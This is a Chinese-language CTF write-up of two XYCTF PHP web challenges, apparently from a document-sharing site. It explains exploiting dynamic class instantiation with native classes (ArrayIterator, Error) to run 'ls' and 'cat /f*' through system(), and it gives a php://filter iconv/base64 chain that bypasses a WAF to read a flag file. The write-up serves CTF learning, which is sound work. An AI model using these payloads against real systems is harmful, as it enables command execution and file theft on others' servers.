### XYCTF部分web题目复现 #### 一、PHP Web ezClass 题目解析 ##### 题目背景及分析 此题的核心在于理解并利用PHP中的原生类特性,通过构造特定的请求来执行系统命令或获取敏感信息。 - **题目代码**: ```php <?php highlight_file(__FILE__); $a = $_GET['a']; $aa = $_GET['aa']; $b = $_GET['b']; $bb = $_GET['bb']; $c = $_GET['c']; ((new $a($aa))->$c()); ((new $b($bb))->$c()); ``` - **核心概念**:题目中利用了PHP的动态类加载功能,即通过`new $a($aa)`这种方式动态创建一个对象,并调用其方法。其中`$a`和`b`代表类名,`$aa`和`bb`则是传递给这些类构造函数的参数,而`$c`则代表了要调用的方法名。 - **利用方式**: - **利用PHP原生类**:通过设置`$a`和`b`为PHP内置的类名,如`ArrayIterator`,并通过特定的参数触发预期的行为。 - **调用方法**:利用`$c`指定的方法,如`current`方法,从而达到执行命令的目的。 - **解决方案示例**: - 使用`ArrayIterator`类,它有一个`current()`方法可以返回当前的元素值。可以通过构造特定的URL来实现命令执行: ``` /?a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=ls ``` - 另一种思路是利用`Error`类的`getMessage()`方法,来获取错误信息,例如: ``` /?a=Error&b=Error&aa=system&bb=cat /f*&c=getMessage ``` ##### 总结 此题的关键在于理解PHP如何动态加载类和调用方法,以及如何利用特定的类和方法来达到目标。 --- #### 二、Web 连连看 题目解析 ##### 题目背景及分析 此题主要考察如何绕过过滤机制并利用PHP的`php://filter`流上下文来读取文件。 - **题目代码**: ```php <?php highlight_file(__FILE__); error_reporting(0); $p = $_GET['p']; if (preg_match("/http|=|php|file|:|\/|\?/i", $p)) { die("waf!"); } $payload = "php://filter/$p/resource=/etc/passwd"; if (file_get_contents($payload) === "XYCTF") { echo file_get_contents('/flag'); } ``` - **核心概念**:题目设置了过滤机制来阻止直接访问敏感路径。但可以通过构造特殊的过滤器链来绕过这一限制,并读取文件内容。 - **利用方式**: - **构造过滤器链**:使用多级过滤器来处理文件内容,以便绕过过滤机制并最终读取文件。 - **多级Base64编码**:通过多次Base64编码,可以去除可能的脏数据,然后再进行解码以获得原始数据。 - **解决方案示例**: - 构造过滤器链,如使用`convert.iconv`和`convert.base64-encode/decode`组合,来处理读取的文件内容。 - 经过多次Base64编码与解码,最终得到有效信息。在这个过程中,需要注意每次编码后的结果要去除等号(`=`),并确保编码次数足够以完全去除脏数据。 - 示例过滤器链: ``` php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE| ``` ##### 总结 此题的关键在于理解和利用PHP的`php://filter`流上下文以及多级编码技术来绕过过滤机制并获取文件内容。通过构造复杂的过滤器链和多次编码解码操作,可以有效地去除脏数据并最终获取所需的信息。
剩余21页未读,继续阅读
- 粉丝: 82
- 资源: 2
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- 此存储库收集了所有有趣的 Python 单行代码 欢迎随意提交你的代码!.zip
- 高考志愿智能推荐-JAVA-基于springBoot高考志愿智能推荐系统设计与实现
- 标准 Python 记录器的 Json 格式化程序.zip
- kernel-5.15-rc7.zip
- 来自我在 Udemy 上的完整 Python 课程的代码库 .zip
- 来自微软的免费 Edx 课程.zip
- c++小游戏猜数字(基础)
- 金铲铲S13双城之战自动拿牌助手
- x64dbg-development-2022-09-07-14-52.zip
- 多彩吉安红色旅游网站-JAVA-基于springBoot多彩吉安红色旅游网站的设计与实现